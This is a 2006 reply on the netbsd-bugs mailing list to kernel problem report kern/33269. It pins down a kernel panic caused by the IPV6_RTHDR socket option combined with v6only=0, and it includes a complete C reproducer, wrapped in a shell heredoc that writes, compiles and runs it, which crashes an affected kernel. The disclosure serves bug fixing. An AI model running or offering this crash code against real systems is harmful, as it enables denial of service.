Subject: Re: kern/33269: Panic with IPv6 and certain socket options
To: None <kern-bug-people@netbsd.org, gnats-admin@netbsd.org,>
From: Christian Biere <christianbiere@gmx.de>
List: netbsd-bugs
Date: 04/16/2006 12:05:04
The following reply was made to PR kern/33269; it has been noted by GNATS.

From: Christian Biere <christianbiere@gmx.de>
To: gnats-bugs@netbsd.org
Cc: 
Subject: Re: kern/33269: Panic with IPv6 and certain socket options
Date: Sun, 16 Apr 2006 14:05:57 +0200

 The culprit is IPV6_RTHDR in combination with net.inet6.ip6.v6only=0.
 Apparently it's not possible to turn the latter off using
 the socket option IPV6_V6ONLY, at least not as non-root. I didn't try
 as root. So the default configuration of NetBSD is not vulnerable.
 
 cat > ipv6_crash.c <<EOF && cc ipv6_crash.c -o ipv6_crash && ./ipv6_crash
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <netinet/in.h>
 #include <errno.h>
 #include <stdlib.h>
 #include <string.h>
 #include <stdio.h>
 
 int
 main(void)
 {
   int s;
 
   s = socket(PF_INET6, SOCK_DGRAM, 0);
   if (s < 0) {
     perror("socket()");
     exit(EXIT_FAILURE);
   }
  
   {
     static struct sockaddr_in6 addr;
     addr.sin6_family = AF_INET6;
     addr.sin6_port = htons(4000);
 
     if (bind(s, (const void *) &addr, sizeof addr)) {
       perror("bind()");
       exit(EXIT_FAILURE);
     }
   }
 
   {
     static const int enable = 1;
     
     if (setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, &enable, sizeof enable)) {
         perror("setsockopt(s, IPPROTO_IPV6, IPV6_RTHDR, ...)");
         exit(EXIT_FAILURE);
     }
   }
 
   {
     static struct sockaddr_in6 addr;
     const char msg[] = "Don't panic!";
 
     addr.sin6_family = AF_INET6;
     addr.sin6_port = htons(4000);
     addr.sin6_addr.s6_addr[10] = 0xff;
     addr.sin6_addr.s6_addr[11] = 0xff;
     addr.sin6_addr.s6_addr[12] = 0x7f;
     addr.sin6_addr.s6_addr[13] = 0x00;
     addr.sin6_addr.s6_addr[14] = 0x00;
     addr.sin6_addr.s6_addr[15] = 0x01;
 
     if ((ssize_t) -1 == sendto(s, msg, sizeof msg, 0, (const void *) &addr, sizeof addr)) {
       perror("sendto()");
       exit(EXIT_FAILURE);
     }
   }
 
   return 0;
 }
 /* vi: set ai et ts=2 sts=2 sw=2 cindent: */
 EOF
 
 -- 
 Christian